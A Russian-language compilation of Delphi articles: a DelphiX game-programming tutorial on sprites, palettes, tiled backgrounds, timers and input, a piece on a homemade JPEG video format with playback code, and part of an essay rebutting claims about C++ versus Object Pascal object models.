procedure TForm1.FullScreenMode; begin DXDraw1.Finalize; StoreWindow; DXDraw1.Options := DXDraw1.Options + [doFullScreen]; DXDraw1.Display.Width := 640; DXDraw1.Display.Height := 480; DXDraw1.Display.BitCount := 8; DXDraw1.Initialize; End; // Set mode in non-Windows GUI Disable windows-controls-< purely graphics screen (very fast) DXDraw.Options := DXDraw.Options + [doFlip]; // Enable Windows controls DXDraw.Options := DXDraw.Options - [doFlip]; Screen.Cursor := CrNone; // Спрятать курсор Form1.BorderStyle := bsSingle; // Спрятать бордюр формы2.
DXImageListКомпонента для загрузки графических файлов.
2.1 Загрузка изображений во время выполненияНижеприведенная процедура загружает растровое изображение в DXImageList (BMP, DIB и т.д.). Картинка становится элементом DXImageList.
procedure LoadImage (Filename, NameImage : String; PatWidth, PatHeight : Integer; Transp : Boolean; TranspColor : TColor);
begin
DXImageList.Items.Add;
with DXImageList.Items[DXImageList.Items.Count-1] do
begin
Picture.LoadFromFile (FileName);
Name := NameImage;
PatternWidth := PatWidth;
PatternHeight := PatHeight;
SkipHeight := 0;
SkipWidth := 0;
SystemMemory := False;
Transparent := Transp;
TransparentColor := TranspColor;
Restore;
end;
end;
С помощью этого метода можно запросто загрузить около 200 BMP или DIB картинок одновременно. Большее количество требует большего объема памяти.
2.2 ПалитраПалитра это таблица цветов. Это - фактически массив чисел, где каждое число относится к некоторому цвету. Каждый цвет - фактически также только число. Это число зависит от количества красного, зеленого и синего в цвете (RGB-значение). В DelphiX, цветовая палитра доступна через DXDraw.ColorTable. Чтобы быть уверенным, что DXDraw будет использовать ту же самую палитру что и изображение в DXImageList сделаем следующее: ImageList.Items.MakeColorTable; DXDraw.ColorTable := ImageList.Items.ColorTable; DXDraw.DefColorTable := ImageList.Items.ColorTable; DXDraw.UpdatePalette;Ниже дан кусок кода для создания цвета (TRGBQuad). Стандартная палитра содержит 256 этих RGВQuаd'ов.
Var Pal : TRGBQuad; Pal.rgbRed := 16; Pal.rgbGreen := 0; Pal.rgbBlue := 0; Pal.rgbReserved := 0; DXDraw1.ColorTable[i] := Pal;Конечно можно сделать функцию для этой цели, подобную данной ниже:
function ComposeColor(Dest,Src:TRGBQuad;Percent:Integer):TRGBQuad;
begin
with Result do
begin
rgbRed :=Src.rgbRed+((Dest.rgbRed-Src.rgbRed)*Percent div256);
rgbGreen :=Src.rgbGreen+((Dest.rgbGreen-Src.rgbGreen)*Percent div256);
rgbBlue :=Src.rgbBlue+((Dest.rgbBlue-Src.rgbBlue)*Percent div256);
rgbReserved :=0;
end;
end;
Ниже видно как заполнить палитру цветами: Var Col : Integer; for i:=0 to 255 do DXDraw1.ColorTable[i] := ComposeColor (RGBQuad(GetRValue(Col), GetGValue(Col), GetBValue(Col) ), DXDraw1.DefColorTable[i], p); DXDraw1.UpdatePalette;Анимация палитры (изменение цвета) используется для придания мерцания, вспышек (и прочих эфектов). 2.3 ФонЕсли нам надо заполнить весь фон одной картинкой, то нужно сделать картинку размером с экран (например 640x480). Высота и ширина фоновой картинки определяются свойствами PatternWidth и PatternHeight (TpictureCollectionItem) а изображение содержится в DXImageList.Items […] .Picture. Когда фон представлен 1 картинкой, PatternHeight и PatternWidth устанавливаются в 0 (но не, например, в 640x480!).
Одно изображение как постоянный фон
3.
DXSpriteEngineSpriteEngine компонента, контролирующая все спрайты SpriteEngine - не 'чистый' DelphiX компонент, потому он не представляет собой часть DirectX, как другие DelphiX компоненты. Многие игроделатели, использующие DelphiX, создают собственный Движок (например игра ‘Joffa’: www.joffa.com/).
Ниже - системы координат, с объяснением, как они связаны в SpriteEngine.
3.1 Система координат
| Sprite.WorldX = Sprite.X + Sprite.Engine.X (sprite.x. связан с SpriteEngine) Sprite.WorldY = Sprite.Y + Sprite.Engine.Y (sprite.y. связан с SpriteEngine) |
Sprite.Moved = Допускать перемещение; да или нет Sprite.Collisioned = Обнаруживать столкновение; да или нетМетод DXSpriteEngine.Move удостоверяет (?), что все спрайты в SpriteEngine вызывают свой метод DoMove. Обычно это происходит после каждого интервала таймера компонента Timer). В этом методе, проверка на столкновение сделана, через вызов метода спрайта Collisions. Метод DoCollision вызывается только когда столкновение обнаружено. Есть много решений для создания движения фона при перемещении спрайта. Одно из решений состоит в том, чтобы изменить X и Y значения DXSpriteEngine в DoMove методе перемещающегося спрайта.Вот так:
DXSpriteEngine.X := ... DXSpriteEngine.Y := ...Часто используемое решение:
X := ... // Новое значение X спрайта Y := ... // Новое значение Y спрайта DXSpriteEngine.X := -X + (DXSpriteEngine.Width div 2) - (Width div 2); DXSpriteEngine.Y := -Y + (DXSpriteEngine.Height div 2) - (Height div 2);Другим решением для создания движения фона, может быть движение BackgroundSprites. 3.2 Игровой сценарийНиже стандартный сценарий для игры (вкл. SpriteEngine). (дам позже, как есть, на хренегознаеткаком языке) 3.3 Фоновые изображения 3.3.1 Статический фон
TBackground = class (TBackgroundsprite)
public
procedure DoMove (MoveCount : Integer); override;
end;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
image := DXImageList1.Items.Find('image1');
image.Transparent := false;
SetMapSize(1,1);
Z := -10;
Tile := false;
end;
var SBackground : TBackground;
3.3.2 Движущийся фон
TBackground = class (TBackgroundsprite) public procedure DoMove (MoveCount : Integer); override; end; procedure TBackground.DoMove (MoveCount : Integer); begin inherited DoMove (MoveCount); X := X-1; end;3.3.3 Тайловый фон (фон собран из тайлов)
| Tile := True; { Фон полностью заполнен тайлами (При прокрутке, тайлы будут повторяться). Значение SetMapSize будет игнорироваться; количество тайлов зависит от размера области экрана (завершенный фон). SetmapSize должен быть вызван! иначе работать не будет .. попробуйте например: SetMapSize (1,1) } Tile := False; { Количество тайлов по высоте и ширине is determined by ‘SetmapSize (w,h) SetMapsize (20, 10) <-> mapwidth :=20; mapheight :=10; } |
тайл1
тайл2
Тайловый фон 4x4 (случайное заполнение)
MapWidth := 4; MapHeight := 4;
SBackground.Chips[0,0] to [3,3]
Randomize;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
image := DXImageList1.Items.Find('backgr');
image.Transparent := false;
SetMapSize(4,4);
Z := -10;
for i := 0 to MapHeight-1 do
for j := 0 to MapWidth-1 do
Chips[j,i] := random(2);
Tile := false;
end;
Chips[j,i] := -1; // тайл [j,i] будет без картинкиЕсть предел для числа Тайлов, при использовании тайлового фона. Это число зависит от памяти компьютера, но возможно и большое количеств. Он делал испытание с Тайлом 100x100, повторного на карте 1000x1000. Хорошая вещь состоит в том, что каждый из этих Тайлов может использоваться при построении различных изображений. Это возможно, потому что каждый Тайл хранится как номер (integer). Отрицательный номер Тайла означает, что этот Тайл без картинки. 3.3.4 Столкновение с фоном
Randomize;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
image := DXImageList1.Items.Find('backgr');
image.Transparent := false;
SetMapSize(5,5);
Collisioned := True; //Не забудьте, иначе столкновения учитываться не будут!
Z := -10;
for i := 0 to MapHeight-1 do
for j := 0 to MapWidth-1 do
begin
Chips[j,i] := random(2); // Выбирается случайный Тайл
CollisionMap [j,i] := false; // Все Collisions отключены
end;
Tile := false;
end;
SBackground.CollisionMap [3,3] := true; // Тайл [3,3] "чувствует" столкновения
!Collisioned у TBackgroundSprite - по умолчанию False, а у TimageSprite - True.
Спрайт столкнулся с Тайлом фона Chip [3,3].
3.4 Изометрический тайловый движок
NatureBackgroundSprite Z:=-10 (3 Тайла в рисунке)
GrassBackgroundSprite Z:=-11; (1 тайл в рисунке)
Такая же концепция как и в предыдущем красно-желтом Тайловым фоном. Но теперь используются два уровня для тайлов вместо одного, и NatureBackgroundSprite имеет изометрическую проекцию. Таким образом можно делать многослойные BackgroundSprites, формируя сложные фоны. В интернете есть множество статей о создании законченных Изометрических движков.
3.5 Анимация спрайтовКадр - картинка из серии картинок, используемых для анимации. Ниже картинка из 7 кадров.
FPS Количество кадров в секунду. AnimPos текущий кадр анимации AnimStart стартовый кадр AnimCount количество кадров анимации (берется из PatternCount) AnimLooped для повтора анимации (по кругу) AnimSpeed = (DXTimer.Interval / 1000) * FPS (напр.: Interval=1 и FPS=2 а 2/1000)Для анимации достаточно указать AnimStart. AnimPos автоматически изменяется во время анимации. 3.6 Столкновение спрайтов & PixelCheck
Рiхе1Сhеск ON: следит касаются ли пикселы(точки) спрайтов друг друга.
Рiхе1Сhеск OFF: следит касаются ли рамки спрайтов друг друга (рамка определяется высотой и шириной спрайта. Это не всегда то же самое что высота и ширина изображения спрайта!)
1. Рiхе1Сhеск не работает вообще когда сталкивающиеся спрайты анимируются.
2. Рiхе1Сhеск работает плохо, когда один из двух сталкивающихся спрайтов анимируется.
3. Pixelcheck работает хорошо, только когда ни один из обоих спрайтов не анимируется.
4. Столкновения без PixelCheck всегда работают хорошо (даже когда оба спрайта анимируются). В этом случае, важны только рамки спрайтов (высота и ширина).
В процедуре DoMove спрата, метод Collision следит, за столкновениями с другим спрайтом. Если столкновение произошло, то вызывается метод DoCollision.
Заголовок процедуры Collision всегда выглядит так:
procedure TDummySprite.DoCollision (Sprite: TSprite; var Done: Boolean);
Где Sprite - спрайт, который столкнулся с текущим спрайтом. Вы можете явно указать, что столкновение произошло. Это может быть сделано, установкой параметра Done, равным True. По умолчанию этот параметр равен False. В методе DoMove надо всегда вызывать оригинальный метод DoMove : Inherited DoMove (MoveCount); (Не нужно делать подобным способом при использовании DoCollision)
4.
DXTimerФактически, таймер управляет всей игрой; все действия игры происходят в одной большой петле. Тело этой петли может быть включено в 'OnTimer' событие Таймера. DXTimer опрашивается каждую миллисекунду. Хотя это не означает что каждую миллисекунду что-что случается. Определяется это в параметре 'Interval' - число миллисекунд между каждым действием. Предположим, что это значение - 100, тогда каждую 0.1 секунды событие 'OnTimer' будет выполнено (главная петля игры). procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer); begin if not DXDraw1.CanDraw then Exit; DXDraw1.Surface.Fill (0); DXSpriteEngine1.Move (1); DXSpriteEngine1.Draw; DXDraw1.Flip; end;Interval Время в миллисекундах между выполнением двух последовательных OnTimer событий. Framerate (=FPS) Число OnTimer событий исполняющихся каждую секунду (частота). Interval = 1000 / FrameRate Внимание: Когда используется очень маленький интервал (меньше чем 10 миллисекунд.) отношение между Interval и FrameRate - не будет правильным, так как у компьютера есть максимальный FrameRate (например 82 FPS), тоже самое и с максимальным интервалом. Какой интервал может быть, полностью зависит от компьютера. Обычно, интервал между 0 и 1 выбирается так, чтобы получился максимальный FrameRate. FrameRate должен считываться непосредственно, потому что он не может быть рассчитан через Interval. Минимальный FrameRate для нормальной мультипликации - около 25, но чем больше, тем лучше. 60 - хороший FrameRate (DXTimer.Interval = 1000 / 60). Поскольку FrameRate – значение только для чтения, то интервал должен задаваться явно, чтобы приобрести некоторую частоту.
DXTimer1.Interval := 1000 div 60; // 60 раз в секунду вызываем метод OnTimer LagCount is the (?). frequence +1 // частота = кол-во исполнений 'OnTimer'Также нельзя самостоятельно устанавливать параметр 'LagCount'. Это делается автоматически. Значение LagCount зависит от выбранного FrameRate (интервала). LagCount - истинный интервал времени, который используется (он может отличиться от выбранного интервала таймера). При выборе 0 или 1, LagCount определит минимальный интервал времени, так, чтобы получился максимальный FrameRate.
DXSpriteEngine.Move(LagCount);
X := X+ 0.7*MoveCount; { Вы можете делать значение MoveCount таким-же, как и LagCount.
Вы можете посылать это значение через параметры метода но не надо
(Вы можете дать ваше собственное значение MoveCount) }
5.
DXInputКомпонента для отслеживания ввода с клавиатуры, джойстика или мыши.
//Получить текущее состояние
DXInput.Update;
//Текущее состояние джойстика
DXInput.Joystick.X;
DXInput.Joystick.Y;
//Определение движения джойстика:
if ((DXInput.Joystick.X><0) or (DXInput.Joystick.Y><0)) then
...
//Интервал осей
DXInput.Joystick.RangeX := ... // RangeX =10 то интервал: от-10 до +10
DXInput.Joystick.RangeY := ...
DXInput.Joystick.RangeZ := ...
//Определение состояния клавиатуры
if isLeft in DXInput.States then // Нажата кнопка влево.
.....
if isRight in DXInput.States then
....
if isUp in DXInput.States then
....
if isDown in DXInput.States then
....
//Возможно, что DXInput.States содержит и IsUp и IsRight (вверх, вправо).
DXInput1.States := DXInput.States - [isButton1]; //Отключение 1 кнопки
DXInput1.States := DXInput.States + [isButton2]; //Включение 2 кнопки
//Кнопки
procedure TForm1. FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if Key = VK_ESCAPE then
Close;
if key = ord('B') then
...
end;
VK_ESCAPE
Ord (Ascii)
VK_F1 t/m VK_F10
VK_SPACE
VK_UP
VK_DOWN
VK_LEFT
VK_RIGHT
6. Советы и секреты
6.1 Получение версии DirectX
function GetDXVersion : String;
begin
with tregistry.Create do
try
rootkey:=HKEY_LOCAL_MACHINE;
if OpenKey( '\SOFTWARE\Microsoft\DirectX', False) then
result:= copy(Readstring('Version'),4,3)
else result:='DirectX не установлен';
finally
free;
end;
end;
Или можно запустить C:\Windows\System\DXDiag.EXE :)
6.2 Game Scenario
6.3 STD Sprite
6.4 Оптимальное качество звука
procedure Tform1.DXSound1Initialize(Sender: TObject);
var fmt:TWaveFormatEx;
begin
try // Set up the DXSound object to use high quality samples
with Fmt do
begin
wFormatTag := WAVE_FORMAT_PCM;
nSamplesPerSec := 44100;
nChannels := 2;
wBitsPerSample := 16;
nBlockAlign := wBitsPerSample div 8 * nChannels;
nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
end;
// must be in exclusive to set the format
DXSound1.Options := DXSound1.Options + [soExclusive];
DXSound1.Primary.SetFormat(Fmt);
except // Error
end;
end;
6.5 Text in DXDraw
with DXDraw1.Surface.Canvas do begin Brush.Style := bsClear; Font.Size := 12; Font.Color := clRed; TextOut(0,0, ’Some Text’); Release; end;6.6 МенюFor making menu-items you can make a different picture (sprite) for each menu-item. To show if the menu-item is on or off, you’s just show a different picture (when you move your mouse over the Option).
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);
Видео формат для использования в играх. Со звуком формата WAV (скоро будет MP3).
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Данный видео формат использует компоненты DelphiX, и Jpeg для отрисовки изображения, поэтому процесс отрисовки изображений не очень прогрессивен, и в ближайшее время появится статья, где все это выполняется через WinAPI, более быстрый способ. Вот типы процедур, которые будут использоваться в статье: 1.StartScene - эта процедура будет выполнятся один раз, и только перед началом Scene, обычно, создает Объекты для Scene и ставит нужные параметры для отрисовки. 2.Scene - эта процедура, выполняемая каждую секунду столько раз сколько у Вас кадров всекунду (FPS) у DхТimеr'а, обычно отрисовывает те объекты, которые создавались в StartScene. 3.EndScene - в этой процедуре, обычно, очищают память от тех объектов, которые не будут использованы в других сценах, а использовались только в этой. Сначала укажем в USES что будем использовать Jpeg, потом после слова TYPE пишем:
TIMHeader = record
Face:array[1..5] of char; //Это типа мой идентификатор
fps:byte; //Количество кадров в секунду
Pictures:integer; //Количество картинок в файле
width,height:integer; //Ширина и высота картинок
sound:byte; //Если 1 то звук есть, если 0 то звука нет
soundsize:int64; //Размер звукового файла
end;
//А в поле VAR пишем:
var
schet:integer=1; //Количество картинок-schet=кадров осталось до конца
fs:tfilestream; //Компонент необходимый для чтения файлов
f:TImHeader; //Собственно заголовок Видео Файла
center,str:boolean; //1е - елси нужно ровнять по центру, 2е-растянуть
jpg:TjpegImage;//Картинка Jpeg
Теперь идет процедура типа StartScene:
fs:=tfilestream.Create('Имя файла',fmOpenRead); //Открываем видео файл
fs.Read(f,sizeof(f)); //Читаем заголовок
if f.sound=1 then
begin
m:=tmemorystream.Create;
m.CopyFrom(fs,f.soundsize);
m.Position:=0;
wl.Items.Find('sound').Wave.LoadFromStream(m);
wl.Items.Find('sound').Restore;
end;
timer.Interval:=1000 div f.fps; //Устанавливаем скорость отрисовки картинок(кадры в секунду)
dximagelist.items.clear; //Отчищаем Имэйдж Лист от картинок, для освобождения памяти
dximagelist.Items.Add; //Добавляем один Итэм в Имэйдж Лист (в нем будет лежать каждый кадр видеоролика)
if (f.width=640) or (f.height=480) then //Если картинка например 640х240 то рисуем по центру
center:=true
else
begin
if (f.width=320) and (f.height=240) then //Если картинка пропорциональна 640хЧ80 то растягиваем
str:=true;
end;
jpg:=tjpegimage.create;
dxtimer.Enabled:=true; //Начинаем отрисовку
end;
Ну и наконец сама процедура отрисовки, она ставится на dxdtimer.ontimer или попросту к процедурам типа Scene:
var //Объявляем переменные
size:int64; //Размер изображения в Видео Файле
memo:tmemorystream; //Временый участок памяти под картинку
begin
if not ddraw.CanDraw then exit;
if (schet=1) and (f.sound=1) then //Начинаем с первого кадра играть звук
if dxsound.Initialized then wl.Items.Find('sound').Play(false);
if schet<f.Pictures then //Если картинки в Видео Файле закончились
begin //ТО:
fs.Free; //Закрываем видео файл
endscene; //Конец сцены (процедура типа EndScene)
jpg.free; //Картинку тоже отчищаем
exit; // Далее не продолжаем
end else //А если картинки не закончились то:
inc(schet); //Schet увеличиваем на единицу
memo:=tmemorystream.Create; //Выделяем участок в памяти
fs.Read(size,sizeof(size)); //Читаем из Видео Файла размер изображения
memo.CopyFrom(fs,size); //Загружаем это изображение в память
memo.Position:=0;
jpg.LoadFromStream(memo); //Загружаем в нее изображение
dximagelist.items.Items[0].Picture.Assign(jpg); //Засовываем картинку в Имэйдж Лист
dximagelist.Items.Items[0].Restore; //принимаем изменения
ddraw.Surface.Fill(0); //Заливаем фон черным(в случае если видео непрозрачное или на весь экран, можно не писать)
{Далее 8 строк, проверяем на центрированость и на растяг, потом орисовываем картинку}
if center then
begin
x:=(640-f.width)div 2;
y:=(480-f.height)div 2;
il.Items.Items[0].draw(ddraw.Surface,x,y,0);
end;
if str then il.Items.Items[0].stretchdraw(ddraw.Surface,bounds(0,0,640,480),0);
memo.Free; //Отчищаем память от нарисованой картинки
ddraw.flip; //Переключаем страницу видеопамяти (если эта процедура типа Scene, то можно не писать)
Пример. Перетащите файл file.imp на файл video.exe(Сначала откомпилируйте проект).
Программа создающая видео файлы теперь на русском языке. Описание:
Hеобходимо, чтобы в папке с программой находились картинки (из которых состоит видео фрагмент) в формате BMP. При этом их названия должны быть, не такие:
1
10
11
12
2
3
4
5
6
7
8
9
А такие:
01
02
03
04
05
06
07
08
09
10
11
12
Чтобы сохранить их порядок!
Вот в принципе и всё.
Игра отражений.
Оформил: DeeCo
Автор: Владимир Волосенков.
Музыку любите, а на инструменте неприличное слово нацарапали. "Республика ШКИД".
Данный материал является независимым дополнением/исправлением к статье Дмитрия Логинова "ЯП, ОПП и т.д. и т.п. в свете безопасности программирования". Поводом к написанию явилось наличие в исходном материале множества неточностей и откровенно ложных сведений, вводящих в заблуждение неподготовленного читателя. Условно материал Дмитрия можно разделить на две части: историческую и непосредственно техническую. По исторической части у меня вопросов нет, и прочитал я ее с большим интересом. Целью данного материала является внесение ясности по техническим вопросам в меру моих скромных знаний. Исходный текст я буду приводить курсивом. Т.к. в статье в основном сравнивается C++ и Delphi, то вместо Pascal или Object Pascal будет использоваться сокращение ОР. Т.к. автор в своем повествовании не ограничивался сравнением только безопасности программирования в С++ и ОР, то я также позволю себе сравнения по всем аспектам. Конечно, только в рамках технических фактов. Кроме того, в скобках иногда будут встречаться комментарии за подписью КоТ. Это замечания одного непрофессионального программиста по поводу моих и Дмитрия размышлений. Пишет он в С++ и исключительно под Linux, называет себя не иначе, как глупым ламером. Впрочем, исходя хотя бы из того, что обычно настоящие ламеры себя таковыми не считают, его высказывания весьма интересны и часто к месту. Итак, приступим. Сразу замечу, что размер страницы памяти для процессоров Intel и MIPS составляет 4К, а для Alpha - 8K (а не 2 и 4К соответственно). Начнем с принципиальных отличий в модели обработки исключений в С++ от Делфи. И какие это порождает гадости (КоТ: почему именно гадости?). В первую очередь, Борланд ввел некоторые ограничения на перегенерацию собственных исключений. Вырезка из Help: 1) You cannot rethrow an operating system exception once the catch frame has been exited and have it be caught by intervening VCL catch frames. 2) You cannot rethrow an operating system exception once the catch frame has been exited and have it be caught by intervening operating system catch frames. 3) You cannot use "throw"(аналог Делфийского raise) to reraise an exception that was caught within VCL code. Приведенная автором вырезка в Delphi Help отсутствует. Да и с какой стати там будет указываться ключевое слово "throw" из С++? Более всего это похоже на вырезку из хелпа C++ Builder. Соответственно и ограничения на работу с более мощной моделью исключений ОР, используемой в VCL (доказательства будут ниже). Выводы делаем сами… Рассматривая модель ООП в Делфях и модель ООП в С++, легко прийти к выводу, что функционально модель С++ шире, и поэтому Борландовский Буилдер легко "глотает" делфийский VCL. Используя модель ООП С++, создать, к примеру, среду Delphi или библиотеку VCL невозможно в принципе (если не касаться разработки новых компиляторов). Это было неоднократно доказано в дискуссиях с другими фанатами С++. Как ограничения выступают отсутствие классовых ссылок, виртуальных конструкторов и ущербная модель RTTI в С++. Не буду утверждать, как работает C++ Builder, но подозреваю, что ключевые моменты работы среды с компонентами написаны на ОР. Думаю, если бы С++ позволял написать VCL, то Delphi пришлось бы сейчас "глотать" чужой код. Но пока все наоборот. Кстати, Borland имела прекрасную возможность пересмотреть свои воззрения на языковую основу VCL при разработке Kylix (этот проект включает и ОР и С++). Однако революции не произошло. Революция уже случилась в 95-м году с выходом Delphi 1 :) В С++ классы могут находиться в любой памяти, из перечисленных выше трех [статическая, стек, динамическая]. (КоТ: Никакого плюса не вижу, говорю как С++ - программер. Мало геморроя с распределением динамической памяти, так еще и со всеми другими. Из-за этого я на линух от доса перешел - кстати. И вообще, на мой (ламерский) взгляд, распределение памяти - вопрос не к языку, а к мемори-модели операционной системы.) В Делфи классы (объекты) могут располагаться только в динамической памяти Что, безусловно, добавляет той самой безопасности программирования. К примеру, функция может вернуть ссылку на объект в стеке, который уже уничтожен. (КоТ: такие ошибки у меня часто были в досовском паскале. Именно тогда я привык инициализировать все переменные в процессе декларирования.) Если Дмитрий интересовался вопросами сборки мусора, то не мне ему объяснять, что сделать это в одной динамической памяти куда легче. Из этого вытекает следующее отличие. Все конструкторы и деструкторы классов Паскаля вызываются явно.object := TMyObject.Create. // где-то в начале //.... object.Free; // где-то в концеС одной стороны хорошо. Все ясно, как никогда. Но это специфика Паскаля заставляет программера делать уйму работы, и порой ошибаться (КоТ: а что, С++ прямо так вот и гарантирует безошибочность?) Частенько бывает необходимо иметь "неявный" вызов или конструктор "по умолчанию". Конструктор класса С++, например, вызывается как только встречается описание экземпляра (переменной) класса. И, соответственно, деструктор вызовется, как только класс "выйдет из области видимости". (КоТ: опять подмена терминов. Т.е. банально нечестная игра. Справедливей, имхо, сказать, что в определенных задачах приходится не надеяться на механизм порождения классов дельфы. Но ведь и в С++ есть точно такие же ситуации - где-то ты можешь положиться на язык (компилятор), где-то - не можешь. Так в чем же преимущество?) Не нужно преувеличивать количество работы программера. Вызвать конструктор и деструктор совсем не сложно. К тому же, компоненты на форме, например, создаются и уничтожаются автоматически, что очень облегчает жизнь новичкам. При уничтожении компонента ссылка на него в обязательном порядке обнуляется компонентом-владельцем. А что касается области видимости класса и времени жизни, то это элементарно организуется использованием интерфейсов. Всю работу по подсчету количества ссылок и автоматическому менеджменту памяти возьмет на себя Delphi. (КоТ: кстати, в том же С++ такой же механизм я сам организовывал часов за восемь. Не скажу, что просто и легко, но возможно. Минус - лишний геморрой, плюс - можешь сделать сам, какой нужно, с точностью до битовых полей и регистров.) В Delphi этот механизм также может быть легко реализован по-своему. К тому же, такая форма конструирования имеет под собой четкую логическую основу. Она напрямую ориентированна на использование классовых ссылок, когда вместо статического указания типа (TMyObject) используется переменная типа "тип класса":
TComponentClass = class of TComponent; //ссылка на класс function CreateAny(AType: TComponentClass): TComponent; begin Result := AType.Create(nil); end; … Form1.InsertComponent(CreateAny(TButton)); // Создали кнопку Form1.InsertComponent(CreateAny(Edit1.ClassType)); // Создали еще одно поле редактированияСкажем прямо, такие решения в С++ недоступны. В качестве лирического отступления можно сказать, что именно на этом основана работа Delphi IDE с любым компонентом. Вас не удивляло, что Delphi способна не то что без перекомпиляции, а даже без перезапуска брать внешние, абсолютно не знакомые ей классы (компоненты, которые можно инсталлировать хоть каждые 5 минут, тип которых, конечно, неизвестен) и строить на их основе другие классы (формы и т.д.) в run-time (для разработчика design-time)? (КоТ: круто, конечно) Очень занимательный вопрос, скажу я вам. Прикиньте, как бы вы реализовали это в своем приложении. Механизм должен быть очень универсальным, работающим для любого компонента. Компоненты поставляются, например, в виде DLL (или packages - разновидность DLL). Тут никакая RTTI в чистом виде не поможет. Применительно к этой задаче даже шаблоны С++ абсолютно бесполезны, т.к. они являются механизмом compile-time only. Секрет заключается в механизме классовых ссылок, которые фактически являются ссылками на VMT класса. Классовые ссылки регистрируются в пакетах с помощью процедуры Register. Ну и без виртуальных конструкторов, конечно, здесь тоже каши не сваришь. Ну теперь самое интересное - динамическая память. Тут еще проще - у указателей конструкторов и деструкторов нет. Но, повторюсь, это у встроенных типов. Чтобы вызвать конструктор у указателя надо воспользоваться оператором new. В случае же удаления - оператором delete. TComplex* c; // переменная указатель на тип TComplex - ниче не вызывается. (КоТ: ну кто же в софтине будет САМ создавать указатель на пустое место? Зачем? Чтобы stack еrrоr'ом по хоботу получить? Объявил переменную - инициализируй!!! Вот так:
ТСоmр1ех* c=new TComplex(1,1)// "а будешь делать не так, надеру уши" (с) Зеф, "Обитаемый остров")
c = new TComplex(1,1); // выделяется память под TComplex и вызывается его конструктор с параметрами. delete c; // освобождаем память предварительно вызвав деструктор TcomplexВот здесь работа с классами похожа на Делфийскую работу. Похожа-то, похожа - да не совсем. . (КоТ: на CENSORED похожа, да и работы я здесь не вижу что-то.) Во-первых: как вы успели заметить new и delete - это операторы. Значит их можно переопределять (КоТ: кстати, НЕ ВСЯКИЙ оператор С++ переопределяется). Значит, где захочу - там и будут лежать мои классы. Так можно организовать несколько куч, даже не имея "много-кучевого" менеджера ОС. Я позже опишу, как это влияет на безопасность Странно, но Дмитрию не известно, что управление памятью классов в ОР реализовано даже не с помощью операторов, а гораздо красивее - на уровне TObject, виртуальными (!) методами NewInstance и FreeInstance. Таким образом, абсолютно ЛЮБОЙ класс может переопределить эти методы для осуществления желания "где хочу - там и буду лежать". Соответственно организуется и "многокучность". Во-вторых: здесь всплывает понятие "ВРЕМЯ ЖИЗНИ КЛАССА" и то, как обрабатываются исключения в конструкторах и деструкторах. Рассмотрим это поближе. В Делфи время жизни класса таково: Рождение: Класс начинает свое существование сразу ПОСЛЕ окончания работы КОНСТРУКТОРА(вызов AfterConstruction). Смерть: Класс заканчивает свое существование сразу ПОСЛЕ окончания работы ДЕСТРУКТОРА(вызов BeforeDestruction). Неправильно. Before он на то и Before, чтобы отрабатывать ДО вызова деструктора. И это вовсе не значит, что класс уже уничтожен. Для справки: BeforeDestruction введен для того, чтобы создатель класса был уверен, что необходимые действия перед его уничтожением будут выполнены всегда, независимо от того, вызовут или нет его потомки унаследованный деструктор. По поводу AfterConstruction разговор будет чуть позже. Кроме того, и конструкторы и деструкторы в ОР имеют приятную особенность (и далеко не одну). Они могут вызываться как обычные методы. Для этого в них передается неявный параметр. Не путать с неявным Self или this. Кстати, Self в классовых методах ОР является классовой ссылкой, а не объектной. Так что вопросы рождения и смерти в ОР далеко не так тривиальны. Впрочем, самые интересные подробности еще впереди. В С++ немножечко по другому: Рождение: Сразу ПЕРЕД телом конструктора. Смерть: Сразу ПОСЛЕ тела деструктора. Это несколько меняет работу с конструкторами/деструкторами родителями и конструкторами/деструкторами членами. Вот С++:
class TChild : public TMama,TPapa{ // :o)
TMemberOne member_1_;
TMembarTwo member_2_;
public:
TChild() { cout<<"TChild created!"; }
}
Порядок конструкторов будет следующий: TMama, TPapa, TMemberOne, TMemberTwo и только потом вызовется ТЕЛО конструктора TChild. Это логично и похоже на правду. (КоТ: немножко беременной быть можно? Это похоже на правду, или это правда? Разницу чувствуете?) Действительно, когда мы можем получить доступ к методам и полям(переменным класса) родителей и классов-членов(конкретных классов)? Мы можем получить этот доступ только, когда они сконструированы. И это лучше оставить на совести компилятора, чем надеяться на программера.
Вообще типичной идеологией компилятора С++ считается: "Ну, парень, если ты хочешь сделать именно так, делай, а я умываю руки". А тут такая удивительная забота о программере! Только вот она в данном случае совсем не к месту, по крайней мере, в таком виде. Как контраст - конструкторы ОР.
Допустим, у нас есть иерархия классов A -> B -> C. Мы конструируем класс С. Действительно, в С++ последовательность конструирования будет A -> B -> C. И никак иначе.
Теперь признайтесь, когда вы пишите конструктор в ОР, вы ведь первым делом указываете вызов inherited. Да? В этом случае последовательность конструирования абсолютно аналогична. Но! Стоит вам убрать inherited, и Delphi будет конструировать класс C в последовательности C -> B -> A. Неплохо для начала, но это еще цветочки.
Незаметное inherited дает вам полный контроль над тем КАК, КОГДА и КАКИЕ конструкторы будут вызываться (и будут ли вызываться вообще, ведь inherited можно и в if засунуть). Нет никаких ограничений на расположение inherited в теле конструктора. А ведь его еще можно дополнить именем конкретного конструктора предка с указанием нужных параметров. Ну и, конечно, можно вызывать собственные конструкторы. (КоТ: это здорово, однако).
Таким образом, сначала, например, может отработать часть конструктора С, затем конструкторы предков, затем оставшаяся часть конструктора С. Для чего все это?
Прозаический пример. В конструкторе С создается некоторый объект (аллокатор памяти, например), который используется для работы в конструкторе предка B. Другой наследник, класс D, может создавать совершенно другой объект. Создание этого объекта можно вынести в виртуальную функцию, которую вызывать перед inherited.
Да, такие возможности используются не слишком часто, но им есть реальное применение. Показательно, что подобный подход нереализуем в С++ никакими способами. Он никогда не даст создать что-то ПЕРЕД работой конструктора предка.
